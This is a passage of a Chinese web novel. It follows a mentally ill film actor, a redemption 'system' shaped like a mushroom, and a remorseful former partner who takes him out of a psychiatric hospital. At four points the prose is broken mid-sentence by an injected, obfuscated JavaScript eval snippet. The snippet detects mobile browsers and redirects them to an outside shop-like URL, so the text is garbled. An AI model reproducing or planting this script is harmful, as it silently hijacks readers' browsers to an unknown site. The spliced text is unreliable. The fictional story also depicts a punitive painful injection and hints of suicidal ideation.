被父母当成捞钱工具的小丫头瘪了嘴,扒在他身上不下来,谁都拽不开,紧紧抱着他嚎啕大哭。 这部电影是五年前拍的。 系统又查了查,发现一些后续 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344634|152638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 新闻。 季斓冬签合作小演员到自己的工作室。 季斓冬被群嘲,被怀疑不安好心,季然粉丝冲锋在前,历数斑斑劣迹。 夫妻当众落泪哀求季斓冬还回女儿。 季然发博“不要让悲剧重演”,疑似暗示季斓冬昔日猥亵嫌疑。 季斓冬解散工作室。 童星出演多部电影电视剧,参加多档综艺爆火。 童星急性白血病复发,抢救无效身亡。 …… 这些旧闻,淹没在数不清的娱乐消息里,连朵浪花也不剩。 系统不清楚它们对季斓冬究竟有没有影响,只是觉得那双眼睛看不透。 季斓冬好像总这样,平静,不以为然,偶尔一晃仿佛能看见峭壁悬崖下死寂的黑浪,但多数时候……季斓冬仿佛并不在乎。 “沽名钓誉。”看到系统用手机乱搜的记录,季斓冬想了想,解释当时的动机,“想装一把救世主,没成功。” 系统沉默了几分钟。 它陪季斓冬玩蘑菇大战僵尸,看着被啃的蘑菇墙,还是没忍住:「你带季然去看心理医生呢?」 「也是想装救世主?」 季斓冬漏掉一只僵尸,遗憾惜败:“是啊。” 他给系统举例分析:“如果我是好人,我现在应该帮季然。” 这世上又不是所有人都是粉丝。 季然的极端粉丝做出这种事,季然的风评急速下跌,偏偏厉行云重伤导致厉阳传媒瘫痪,又没人主事。 季然自己瞻前顾后、胆怯又舍不得切割,犹豫了一晚上才发声明,事态已经被拖到无法收拾。所以,季然现在的境地,急需季斓冬出面,急需一些兄友弟恭的粉饰太平。 粉丝会自发洗地认为他是被资本强迫,路人也能稍微扭转观感,把一场性质极为恶劣的社会性事件,压回家事的范畴。 季然的经纪人焦头烂额,来找了季斓冬好几次,被神神叨叨的季影帝压低声音问听没听见有小女孩在哭,整个吓麻了,连滚带爬逃出精神病院二里地。 季斓冬趴在窗户边上笑得咳嗽。 系统愣的时间有点久。 它看着季斓冬手臂上那些斑驳疤痕,陷入一点迷茫,它不知道季斓冬说的究竟是真是假:「那,季斓冬,你现在好吗?」 “很好啊。”季斓冬看了看自己的救赎值,的确不太高,但也在缓慢进步了,今天就比昨天高了0.1。 季斓冬安慰蘑菇:“别灰心,我努力,早点放你回去交差。” 系统「哦」了一声,看着季斓冬吃好药躺下,它尝试接入季斓冬的感觉系统,迅速被剧烈的、仿佛有刀剜进太阳穴的绞痛吞没,喇叭被杂音占满,全是人,全在说话。 有疯狂辱骂,有发抖的指控,有歇斯底里的憎恨,有决裂,有东西的砸碎声,有小女孩在哭,细细软软哀求救我。 ……系统快疯了。 按理它不该这么干,每个人都有自己的命运,系统不该干涉。 但季斓冬仿佛已经坠落出所有人的命运线。 季斓冬躺在蛛网细细的丝上,微睁着眼,平静不以为然。 数据悄然波动了一瞬。 系统把在这个世界的权限开到最大,片刻后,一道人影慢慢浮出。 它只能使用季斓冬脑海中存在的影像,因为厉行云的干涉,近来有个人影很清晰。 数据完整。 可以调用。 来哀求季斓冬心软的季然在病房门口愣住。 他近乎悚然地看着眼前红头发的青年,后者垂着眼,神色有种机械化的漠然,语气也是:“季斓冬要睡觉。” 系统把门关到季然脸上。 它回去,给季斓冬盖被子,犹豫半天,还是很珍惜这个能说人话的机会,回到门口探头骂季然:“滚你大爷的蛋。” 8. 你说你要救他 这一幕叫季斓冬看个正着。 系统:“……” 幸好这两个人同母异父,季然的大爷不是季斓冬的大爷。 季斓冬看起来没什么意见。 还挺配合,适时捧场鼓掌。 系统不好意思,砰地变回蘑菇。 ……说天赋也好,说老天爷赏饭吃也好,哪怕生了病,季斓冬身上独一份的气质,依然是季然几辈子玩命也够不着的。 只看架势,不看这一身病号服,还以为是什么群星云集的颁奖典礼。 季影帝屈尊莅临,恭喜系统蘑菇斩获“最佳骂了人就反锁门奖”。 「季斓冬。」系统甚至有点腼腆,收好季斓冬随手写的奖状,「你还想复出吗?」 季斓冬撕了几张空支票,闲也是闲着,拿来折纸:“嗯?” 系统是真想帮他:「我有一点权限,可以开后门。」 系统是反派救赎系统,在它们这里,金钱就是数字,随便在瑞士银行修改几个参数,或是去挖几万个比特币,这世上就会多出个背景神秘神出鬼没的幕后大佬。 连身份都有厉行云提前给编好了——厉阳,季斓冬的铁杆粉。 直接给季斓冬砸钱让他东山再起。 讨厌有什么用、辱骂抵制甚至是诅咒又怎么样?在钱面前就是无能狂怒。只要钱砸到位,凭季斓冬的本事,几个大荧幕就能轻轻松松翻红。 系统问完,又有点不好意思,它这次开后门,其实也有私心:「我……还想看你演戏。」 季斓冬的戏实在演得太好。 系统把他的电影一口气全刷了,意犹未尽,剩下的作品就不敢再看得那么快,只好省着一点一点解馋。 季斓冬笑了下:“我在演戏啊。” 系统愣住:「是吗?」 季斓冬明明是在医院精神科治疗,这些天已经有了些起色,救赎值虽然涨得慢,但也0.1、0.1地上涨。 又没有在片场、又没有摄像机。 怎么说是在演戏? 系统不懂,看见季斓冬伸手,就跳进苍白手掌,被放进一个折好的纸花盆里。 “我歇一下。”季斓冬说,“下一场见。” 季斓冬拿白毛巾给它盖:“晚安。” 「晚……」系统下意识回答,又反应过来,「现在是白天,季斓冬,你说错了,是早安。」 季斓冬漫不经心靠在床头,额发散落在眉宇间。 他瘦得太厉害了,仗着骨相依旧好看,身形却已经瘦削到嶙峋,病号服下空空荡荡。 微垂眼皮遮着平淡的弧度。 系统忽然不安:「我给你摇人行不行?我摇个攻略者来,商业巨鳄,财阀暴君,喋血兵王,你喜欢哪个?」 它发现季斓冬没有什么反应,这种安静源于这一轮“燃料”的耗尽,季斓冬不再动也不再说话。 微睁着的眼睛没有落点,视线没有焦距,暗淡空涣,没有什么东西能从里面映出来。 系统小声说:「季斓冬。」 它又翻出“厉阳”的数据,跳出折纸花盆来到床边,伸出手,想抱季斓冬躺下,或者至少抱季斓冬一下。 不行,抱不成,用的是季斓冬脑子里的数据,一切设定都是季斓冬自己做的。 系统用力抓了下头发,它急得来回踱步,不停伸手,季斓冬明明瘦到只剩一把骨头,可数据接触稍一用力就溃散。 病房里,红发的青年人影气急败坏,蹲在床边,把脸埋进手臂中间。 系统不是人类,不理解人类的诸多情感,但这一刻,它至少想明白一件事——季斓冬大概不会想复出了。 季斓冬坐着睡着,或者陷入某种疲倦的静止,看不出有什么痛苦。 季斓冬依然陷在数不清的幻听里,这些嘈杂没放过他,仿佛永无宁日。 系统蹲在床边抬头,季斓冬忘了闭眼睛,薄薄的眼皮下瞳仁无光,系统趁机侵入季斓冬的意识,把季斓冬的脑子翻来覆去找一遍,也找不到这么个设定。 ——「在难受的时候,可以拥抱。」 「在痛苦的时候,可以爱。」 没这么个设定。 痛苦就是痛苦,不会有尽头,也不会有救赎,这已经是季斓冬完全习惯和接受的定论。一切不符合这个逻辑的,是幻像,是虚妄,是渡过死亡长河前夜的一场南柯梦。 …… 厉行云来接季斓冬出院。 这事突兀,因为厉行云醒得突兀,他像是做了什么极恐怖的噩梦,从仪器的包围里挣扎着清醒。 “……哥。”厉行云双目赤红,一把抓住照顾自己的护工,“我哥呢?” 护工吓了一跳,茫然看着他。 厉行云大口喘息,死里逃生,他像是完全变了个人,即使重伤初愈相当虚弱,也掩不住眼底蔓延的阴郁。 “季斓冬。”他的嗓子极度沙哑,吃力念着这个名字,“我是说季斓冬。” “被我害得出了车祸的人。” “把我推出去,被压在脚手架下面的那个人。” 厉行云昏迷太久,说话还很困难,强迫自己一个字一个字往外吐,喉咙里泛着浓郁血腥气,胸口起伏不定。 “你说他?”护工总算对上号,连忙回答,“没事没事,他伤得不重!就是……” 厉行云的瞳孔缩了下,看着欲言又止的护工:“就是什么?!” 护工犹豫半晌,说了实话。 就是没了监护人,季斓冬只能一直住在精神科,从事故当日直到今天,大半个月了,都没被允许出去过。 厉行云撕了身上的仪器导线,他伤得不轻,一条腿断了、内脏受损,一直住在加护病房,此刻却抓着床头的铁护栏就要下床。 护工吓得魂飞魄散,连忙阻拦,在门外徘徊的季然也听见动静,匆忙进来。 厉行云的视线像是活剐了他。 季然的脸色惨白,身后经纪人暗骂废物,陪着笑不迭推了轮椅过去:“厉总,厉总。” “我们小然去看季影帝了,天天去,看了好多趟呢。”经纪人替季然表功,“把人照顾得挺好的,您放心。” 经纪人说:“就是有个事,正好让小然撞上了,不知道该不该跟您说……” 他看起来欲言又止。 一起进来的厉阳传媒副总呵斥:“有话就说,厉总面前卖什么关子!” 这两人一唱一和,厉行云的脾气,他们这些人其实都是摸透了的——就是个没什么心眼,说好听一腔正义感、说难听了冲动莽撞好糊弄的二世祖。 当初厉行云和季斓冬分手,就是不少人暗中合作,让厉行云在各个渠道听了季斓冬的“罪行累累”。 这回也一样,经纪人和厉阳传媒的副总殷勤,扶着厉行云坐上轮椅,你一言我一语地讲完了始末。 季然看见有个年轻人在季影帝病房。 红头发,挺凶,脸上有伤。 ……像极了当初的厉行云。 这事就很耐人寻味,尤其再加上季斓冬这段时间,看起来像是完全恢复过来了,又开始肆无忌惮花钱如流水。 这莫非是拿着厉行云的钱,光明正大找了个替身? 置厉行云于何地?? 更不要说季斓冬根本没受什么伤,这么长时间,却一趟都没来看过厉行云,简直无情到了极点。 而比起季斓冬,季然这些日子不眠不休两头跑,没有功劳也有苦劳。 两相对比,实在太明显。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344635|152638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 厉行云坐在轮椅里,死死攥着轮椅扶手,右手青筋暴起,他重伤躺了太久,脸色还很差,衬得瞳孔漆黑。 厉行云轻声说:“季然。” “滚过来。” 季然打了个哆嗦,经纪人却目光一亮,连忙抓紧招呼,要把季然拽过来。 厉行云的嗓子很哑:“你一直是这么做的,是不是?” 话音不对,经纪人拉季然的手停在一半,吓了一跳:“厉总?” 厉行云自嘲地扯动唇角。 他垂着视线,想人怎么能蠢成像他这样,居然要到这个时候,才能想得明白。 季然不是胆小,不是懦弱,明明就是披着怯弱外皮的愚蠢自私恶毒——什么都贪婪地想要,又不想脏自己的手。 于是季然永远放任,放任这些人添油加醋、断章取义,把事情截取成对他最有利的样子。 不提季斓冬病了,不提季斓冬的身体状况有多差,在他们口中,季斓冬仿佛在医院精神科逍遥度假。 谁会在这种鬼地方度假!? 季然是季斓冬的直系亲属——直系亲属!这么多天,就让季斓冬被困在这种不见天日的鬼地方。 厉行云恨不得求季斓冬花他的钱,花光才好。 就算季斓冬找了什么替身,难道厉行云配半个字的提意见? 季斓冬是因为谁变成现在这样的? “厉阳传媒解散。”厉行云低头,盯着地面,“回去等着打官司,季然,我要查以前的事。” 季然的脸色瞬间惨白,脱口而出:“不行!” 厉行云又不是征求他的意见,扫了这几个呆若木鸡的人一眼,打电话叫厉家人送衣服拐杖。他用尽力气让自己看起来稍微像个人,从头到脚拾掇干净,只要能让他站起来,打多少止痛针都无所谓。 厉行云换上西装,对着镜子用力拍打自己的脸,拼命让自己显得精神一点。 他不让人跟着,自己拄着拐去办手续,去接季斓冬。 厉行云一瘸一拐走向季斓冬的病房。 厉行云极力让自己显得轻松,不浮躁不毛糙,他想尽力做出一点能让季斓冬放松的样子,甚至在心里卑劣地祈祷,医生和那些混账说的至少有几分是真的。 有没有可能……季斓冬乱花了一通钱,心情好了一些,哪怕是一丁点? 有没有可能,医生说季斓冬好了很多,查房时的一切表现和测试都无限接近正常,不是因为季斓冬的演技太好? 他独自敲开季斓冬的病房门,不准任何人跟随,心跳得厉害,然后他定在门口,像是被当头浇下一盆冰水。 季斓冬静静靠在床头,眼睛垂着。 风从窗外灌进来,跟着动的却只有窗帘和大了不止一号的病号服,病号服里的人苍白安静,对声音没有反应。 厉行云看见季然口中那个“红头发的年轻人”,手忙脚乱围着季斓冬团团转。在某一瞬间,厉行云根本无法分辨——他仿佛也疯了,他没看见什么替身,他看见了五年前的他自己。 五年前的厉行云,大学还没毕业,带着在藏区拍戏的季斓冬飙车,两侧全是飞速倒退的绿草白云雪山。 季斓冬的心情似乎很好,在呼啸的大风里学考拉:“啊……好……快……” 他被逗得乐不可支,又用尽力气大声喊:“哥!他们说这是圣山,绕三圈就没有烦心事,救人出尘寰。我要让你一辈子都高兴!” ……记忆里的画面迅速灰暗褪色,仿佛被蚂蚁啃噬,千疮百孔,一切坍塌,眼前是静静坐着的季斓冬。 厉行云看见五年前的自己,穿过记忆,赤红着眼睛走到他面前。 “你说你要救他。” “厉行云,这五年,你都干了什么?” 9. 没有难受 医生不安的声音从身后响起。 “厉总?” 这是私立医院,服务的对象非富即贵,特地赶来的精神科主任对着厉行云周到恭敬,转向病床上的患者,立刻变了嘴脸:“他这是装的,厉总,别理他。” 厉行云的瞳孔缩了下,看向满脸陪笑的秃顶主任。 似乎没有其他人看得到“红头发年轻人”的影子,哪怕影子怒气冲冲对着主任连推带搡,也拦不住雪亮的针头。 “给他一针就好了。”主任走向季斓冬,“这种人,精明得很,他根本没病,就是觉得装疯让您心软……” 话没说完,膝盖后窝先钻心剧痛。 主任惨叫了一声,叫拐杖的金属端砸得腿脚一软,结结实实摔了个狗吃屎,脸色煞白:“厉总?!” 厉行云弯腰,捡起那支注射器,透明的药水让光线扭曲变形,投落一片暗影。 厉行云俯身半蹲:“手。” 主任开始冒汗,讪笑:“厉、厉总,您这玩笑开大了……” 他脸上堆的笑几乎有些挂不住,厉行云的反应,一点不像玩笑——厉行云居然真转了性,护着姓季的。 既然这样,早干什么了?!? 厉行云的脸色差,眼底阴郁极盛,看起来太像个煞神。病房里鸦雀无声,护士战战兢兢过来,按着要求给主任扎针。 倒也不是什么真害人的药,只是同样也没什么用。 无非就是疼——超过人能承受极限的疼,好像一丛细细的毒藤长出来,吞噬皮肉血管骨头内脏,把人折磨到崩溃,忍不住了,病当然也就“装不下去”。 厉家的保镖清场,拖走满地打滚的精神科主任,病房门关上了,人被拖到走廊尽头,惨嚎声还隐约能听见。 这情系统不领,踢走拐杖,继续刨数据三尺找办法碰到季斓冬。 厉行云也没心情捡拐杖。 他踉跄几次,勉强站起来,一瘸一拐到了床边。 季斓冬看起来像是坐着,但只要仔细些,就会发现不对,苍白眉宇平淡,这么大的动静也没引得人动一下,那双眼睛仿佛看着虚空的某处,又仿佛没在看。 厉行云试着,轻声说:“哥。” 他尝试把手覆上季斓冬的手,犹豫了一会儿,把这只手抓住。 在车祸和脚手架坍塌里都没受什么伤,“幸运得不可思议”的人,手比他还要冷得像冰。被厉行云握住的手指,像是坏掉的机器,动一下仿佛都有噪声。 厉行云低头看着这只手,有些绝望,他用尽办法暖它,捧着低头呵气,拉开衣服,把这只手抱进怀里。 平静的力道制止了他这么做。 厉行云打了个悸颤,抬起头,迎上季斓冬的视线。 季斓冬被他吵醒,看了他一会儿,认出他:“厉总。” 季斓冬收回自己的手,对染上的温度蹙了蹙眉,拉开窗户,把手伸进夹着雪片冰碴的冷风。 厉行云脸上的血色褪尽。 “不是你的问题。”季斓冬解释,他不是针对厉行云,只是因为脑子不正常,眼中的世界会发生变化,“我有病。” 这是幻觉的一种,不属于他自己的温度,在他眼里,会变成一片缠着手掌的荆棘,有时候还会张嘴说话。 倒也没什么实质影响。 但闹心。 季斓冬找了找蘑菇,没找到,对着空荡荡的纸花盆愣了一会儿。 系统火速变回去:「我在这,季斓冬,厉行云是来接你出院的,狠狠宰他一笔,去住豪华精装江景房。」 ——病房里那么大个红头发人影不见了,按理来说,的确可能会吓得厉行云怀疑闹鬼,但系统懒得管,反正厉行云现在已经足够失魂落魄。 厉行云没什么心思管鬼不鬼。 他埋着头,小心帮季斓冬换衣服,盯着瘦到仿佛皮囊里只剩骨架的身体,尽力克制住不发抖、不失态。 他帮季斓冬换上新衬衣、西装、风衣外套,裹上围巾。 季斓冬还是那个季斓冬。 这么出去,依然能把偷拍弄成硬照,因为这个被怀疑是站姐,怒而爆料自证的狗仔,这些年少说也有几十个。 季斓冬把系统蘑菇装进口袋,看见厉行云捡起的拐杖:“你受伤了?” 他用的药严重影响记忆,短期记忆一片空白,已经不记得车祸。 厉行云已经被告知了这一点。 季斓冬会忘掉很多东西。 厉行云垂着头,怔怔迟疑半晌,还是低声开口:“车祸……怪我,我自找的,差点死了,是你救了我……” 季斓冬:“怎么会。” 厉行云的手狠狠哆嗦了下,攥紧拐杖,几乎撑不稳肘托。 “当然会。”厉行云盯着地面,“哥,你是这世上最好的人,我当初说你只会害人不会救人,是因为我是个该死的傻逼。” 这话似乎好笑,季斓冬轻轻笑了声,接过厉行云递来的烟和打火机。 厉行云似乎开始学会闭嘴。 只不过,有些话就算闭了嘴,也在发着抖的压抑喘息里呼之欲出——厉行云希望季斓冬骂他、打他、好好把火气发出来。 但季斓冬的声音平缓,甚至有些温和:“我没有生气。” 季斓冬甚至有心情建议他:“说脏话不好。” 厉行云死死咬着唇,还不自量力地想扶他,但季斓冬这会儿显然更理智,接过厉行云怎么都折腾不好的拐杖,把伸缩定位轻松固定妥当。 季斓冬把它还给厉行云。 厉行云盯着拐杖,一动不动凝定几秒,才伸手接过:“我知道了,哥,我以后再也不说了。” 季斓冬似乎不太想要这个回答,但说话费力,看了看他,就把视线垂下去。 “我送你去那套江景房,行吗?”厉行云像是终于开了窍,再次调整语气,“哥,你救我一条命,收留我半个晚上,我给你做顿饭行不行?你总得让我还账。” 他不再不停逼近、不停纠缠,谨慎地停在不至于让季斓冬不舒服的距离。 季斓冬至少没拒绝。 厉行云的眼睛里有火花猝亮,很不起眼,转眼就消失无踪,他掏出手机,飞快吩咐下去。 这次车祸,厉行云意外重伤,也让厉家决心插手,厉行云不再和家里较劲,能动用的人就多了很多。 厉行云准备送给季斓冬的那套房子,在首屈一指的高档小区,从物业到配套都足够周全,厉家派的助理也很利落,晚餐的食材已经摆在岛台上。 厉行云穿着围裙忙个不停。 他学了做饭,但故意卖破绽,手忙脚乱地向季斓冬求救,弄得房间里很热闹。 季斓冬坐在沙发里,回答火候和调料,看着厨房透出来的光。 暖色调的光。 厉行云把这个记下了——当初季斓冬想给厨房换个顶灯的,因为惨白色的灯照着,多好的菜卖相都要打个折扣。 还有沙发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344636|152638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,定制了足够宽三米长的,怎么翻来覆去折腾,也不会掉到地上。 窗帘特地用了棉纱款。 地毯是季斓冬喜欢的配色。 厉行云甚至把拖鞋款式都配套,是季斓冬当初主演的一部影片里,主角的卡通宠物周边。 当初,季斓冬说过的、没说过的、半开玩笑提的……现在都成了真。 甚至有只小狗崽,又软又胖,亲人地哼唧个不停,拼命摇晃着尾巴,扒拉着往季斓冬腿上爬。 「太好了!」系统很兴奋,它喜欢小狗,这才是季斓冬该过的日子,「季斓冬,你喜欢这个地方吗?你感觉好一点了吗?」 季斓冬点头:“很好。” 他捧住不停往下滑落的小狗,神情很温和,摸了摸小狗温热柔软的短毛。 系统怔了怔。 季斓冬想起忘记配合表情,于是系统看见那双眼睛微弯,很形象生动。 「季斓冬。」系统问,「你好一点了吗?」 季斓冬点头:“好很多了。” 系统问:「那数值为什么显示你很疼?季斓冬,你哪里难受?你告诉我,我去和总部申请止疼药。」 “数值错了。”季斓冬提出一种可能性,“我没有哪里难受,你看,救赎值也有进步。” 系统看见救赎值上涨了一大截——就好像刚才跳水似的飞坠,真的只是故障导致的数值错误。 会有人能控制救赎值的数字吗? 系统没见过,所以只是犹豫了下,就开开心心把担忧抛在脑后,逗着小狗往季斓冬身上扑、拱着季斓冬的手钻来钻去。 “救赎值超过六十,你就可以完成任务。”季斓冬问系统,“剧情就不再束缚我了,是吗?” 「是啊。」系统想了想,的确是这样——只要季斓冬的救赎值超过六十分,这个故事就彻底HE,后面的一切就都自由了。 季然是不是主角、剧情线是不是崩掉,就都无所谓了,毕竟故事已经完结,没人在乎阖家欢以后还会发生什么。 「不过,季斓冬,数值不是最重要的。」系统说,「你要开心,你开心比较重要,你想不想给小狗起个名字?」 系统翻阅资料,找到相关条目,给季斓冬念:「小狗永远不会背叛。」 「你只要给它起名字,你起了名字,就是养了它,它就永远是你的了。」 它看见季斓冬的眼睛微微笑了下。 这一点很淡的笑影,刺进厉行云眼底,像尖锐的刀刃剖开胸膛剜出心脏,毫无防备、作为“杀人犯”被推出家门的季斓冬,在错愕良久后,也这么笑。 分手很冲动,决裂过于仓促,季斓冬走后很久,厉行云找到他随手落在沙发缝隙里的笔记本,上面是一些很信马由缰的装修计划。 就在被推出门的前一天,季斓冬甚至想买个狗窝,和他一起养一条能活二十年的狗。 厉行云无法动弹,他仿佛吞下一根滚烫的火钳,一低头就会捅穿喉咙。 隔了很久,他才把手里的菜放下,走过去,蹲在季斓冬膝盖旁边。 “哥。”厉行云轻声说,“叫它什么好?我问了,它这个种类寿命很长,最长能活二十年。” 他看见季斓冬摇头。 季斓冬捏了捏小狗叠了三层的后脖颈,小狗崽是真的很亲人,抱着季斓冬的手拿脑袋顶,季斓冬被顶得轻轻笑了下。 小狗崽没得到名字。 季斓冬不养它:“小狗。” 10. 藏起来 有那么几秒,暖色调的灯光仿佛凝固。 厉行云跪在地毯上,不能动,过了半晌才吃力笑了下,低头看着被季斓冬抚摸耳朵的小狗崽。 季斓冬对它很好,和厉行云记忆里一样好。 只是季斓冬不再养它。 季斓冬不再养什么,厉行云不敢问缘由,只是试着轻声求他:“哥,吃点饭。” “都是你爱吃的。”厉行云的嗓子很哑,有些打颤,“我去学了。” 系统怪声怪气复读:「我去学了。」 在一起五年,系统都没翻着厉少爷做一顿饭,现在知道去学了。 季斓冬看着气粉了的蘑菇,觉得有趣,把小狗从腿上抱下来,撕开一包狗粮倒进食盆,放在地毯上给系统作伴。 他起身去洗手,厉行云似乎有些紧张过度,幽灵一样跟着他。 季斓冬很和气地解释:“我不会跳下去。” 一来是洗手池旁的气窗太小,打开的角度也有限,不够一个人快速进出。 二来,系统也说得很清楚,在抵达he结局之前,剧情的强大束缚力不会允许他死。就算顺利跳下去,也会被什么遮雨棚、广告牌之类的接住。 听见他的话,厉行云有些慌乱,视线无措一瞬:“我不是……” 剩下的话被水声盖过去。 季斓冬低头洗手。 他做这些事的速度明显变慢,比过去慢,会对着满手的泡沫想几秒自己在做什么,再把手探到水下。 “哥。”厉行云轻声问,“你在想什么?” 季斓冬说:“我在杀死泡沫。” 厉行云的脸色白了下,他的指节已经攥到泛青,拿了毛巾匆匆过去,关掉水龙头,裹住季斓冬被水冲得仿佛冰块的手:“哥,我知道错了,你别这么说……” 季斓冬并不是要刺激他,泡沫是这么喊的,撕心裂肺扎着耳朵,骂个不停,这样的情形已经有很久。 既然厉行云不想听,季斓冬也就点头,闭上嘴。 厉行云觉得惶恐,他咽了咽,忽然后悔:“我不是这个意思,哥你想说什么都行,我听着。” 季斓冬笑了笑,摇头。 “开玩笑的。”季斓冬说,“我该吃药了,行云,帮我拿水好吗?” 厉行云拖着条伤腿,几乎是跑着去给他倒温水。 季斓冬看了一会儿那个气窗。 这间房空置很久,里面收拾得很好,但外面已经积了不少灰尘,气窗外有蜘蛛结网,网着一轮暗淡的圆月。 厉行云把温度刚好的水端过来,守着季斓冬吃药、闭眼等待药效发作,守着季斓冬坐到餐桌边。 季斓冬很配合,并不拒绝厉行云给他的食物。 只是这样的进食实在看不出享受。 咀嚼、吞咽,厉行云坐如针毡,他甚至紧张到有些胃痉挛,紧紧抓着筷子,等季斓冬评价……他不确信自己做的菜是不是合季斓冬胃口。 这样吃完一小碗饭,咽下最后一粒米,季斓冬放下筷子。 餐桌陷入很突兀的沉默。 这样的寂静缄默,彻底磨断神经前,厉行云听见季斓冬问:“我该说好吃,是不是?” 这话依旧很和气,甚至很认真,像是讨论剧本里某个情节的人物塑造。 厉行云拼命摇头:“哥你说实话,好吃就是好吃,不好吃就是不好吃。” 季斓冬说:“好吃。” 这并不算谬赞,厉行云大概是玩命锻炼过厨艺,每道菜都烧得很好,色香味俱全。如果是几年前,厉少爷这么大展身手,大概能得到季影帝最浮夸的盛赞。 但现在很难,季斓冬尝试调动情绪,并不成功,哪怕有“解绑剧情线”这种动力,也依旧只有一片荒芜空茫。 “谢谢。”季斓冬接过厉行云递过来的蜂蜜水,喝了一口,“我好很多了。” 他似乎开始越来越频繁地说这句话。 厉行云起初会松一口气,后来却反倒不安,只是迎上那双眼睛,不敢再多废半个字的话。 “要休息了,是不是?”厉行云的声音柔和谨慎,“哥,我走了,你好好休息,这些饭菜碗筷你都不用管,明天我来收拾。” 季斓冬斜靠着椅背,看着手中的蜂蜜水,仿佛出神。 厉行云蹑手蹑脚起身,尽量不惊扰他,把房间稍微收拾过,又去拿外套,他的动作很慢,心里其实奢望季斓冬会留他,却也清楚根本不可能。 厉行云咬着牙关,压住呼吸,仿佛有把锈迹斑斑的刀插在他肋骨间,他眼前全是当初分手时季斓冬的影子。 季斓冬起身去了洗手间。 厉行云愣了愣,还没回过神,听见呕吐声,脸色瞬间煞白,快步冲过去。 推不开,季斓冬反锁了门。 厉行云急到砸门,声音变调:“哥!” 他不敢再把锁弄坏,时间长到煎熬,只能凭声音猜测季斓冬在漱口、洗手,他听见打火机的响声,很淡的烟气从门缝里飘出来,季斓冬在咳嗽。 厉行云的牙关咬到口腔里蔓开血气,身体控制不住发抖,不敢动也不敢喊,死死攥着那个拧不动的门把手。 他看见红头发的影子。 盯着他,怒目而视。 没有声音也知道口型是“滚”,厉行云的手颤了颤,向后踉跄退了两步,不知道影子做了什么,反锁的门就打开。 季斓冬靠在墙角,静静坐着,泛潮的额发搭在眉间。 红头发的年轻人冲进去,哪怕抱不成,也笨拙地不停伸手学着这个动作,又学小狗顶他:“季斓冬,你难受,你不舒服,是不是?” 季斓冬被叫醒,看着眼前的影子,怔了一会儿,轻轻笑了下,摇头。 “你没力气哄人了。”系统才不上他的当,系统有监控仪,一眼就知道,“你太累、太不舒服,连说话都没力气。” 系统问他:“你想不想去床上睡觉?” 季斓冬的眼睛其实会说话。 比如刚才就有点惊讶,然后又微弯,靠着墙的碎发沾了冷汗。 这张脸上没有半点血色,苍白得叫人心惊,衬得瞳孔仿佛是点漆似的黑,空洞寂静仿佛茫茫寒夜。 系统试他的答案:“想?不想?” 问道“不想”的时候,季斓冬闭上眼睛,系统就懂了,一把推开厉行云跑回客厅,抱来毯子、抱枕、沙发垫和小狗,一口气把季斓冬围住。 “季斓冬,季斓冬。”系统和他商量,“我抱你一下,我想抱你一下,你试试,靠着别人可舒服了。” 比靠着墙舒服,这破墙又冷又硬,还是瓷砖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344637|152638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。 可惜这安利不成功,季斓冬只是摸了摸他鲜红的头发,对着这片颜色怔了怔神——眼瞳里的茫然很明显,季斓冬已经不记得自己什么时候和这片鲜红有关。 他已经失去有关这个时候厉行云的记忆。 …… 系统没法不对着厉行云冒火。 它转头狠狠瞪这个家伙:“你怎么还不走?厉家不允许你留这么久,你不要招惹麻烦。” 厉家根本就不赞同厉行云和季斓冬牵扯在一起。 季斓冬在这个圈子里,似乎劣迹斑斑、似乎恶名累累,想要他死的人远比想他好的多得多,所以一朝失势,才会这么快就被落井下石。 厉行云能赖在这到现在,已经是厉家怕厉少爷痴劲上来真把自己折腾死,给出的最大让步——再不走,厉家就要来抓人了。 怕什么来什么。 钥匙拧动锁眼的声音,像是砸在绷紧的那根弦上。 系统蹦起来,伙同小狗龇牙往外轰厉行云,就算他们不轰,厉行云自己也变了脸色,神色倏冷直奔门口。 系统把洗手间反锁,它才不管厉行云,只管回去给季斓冬报信:“坏蛋被轰走了。” 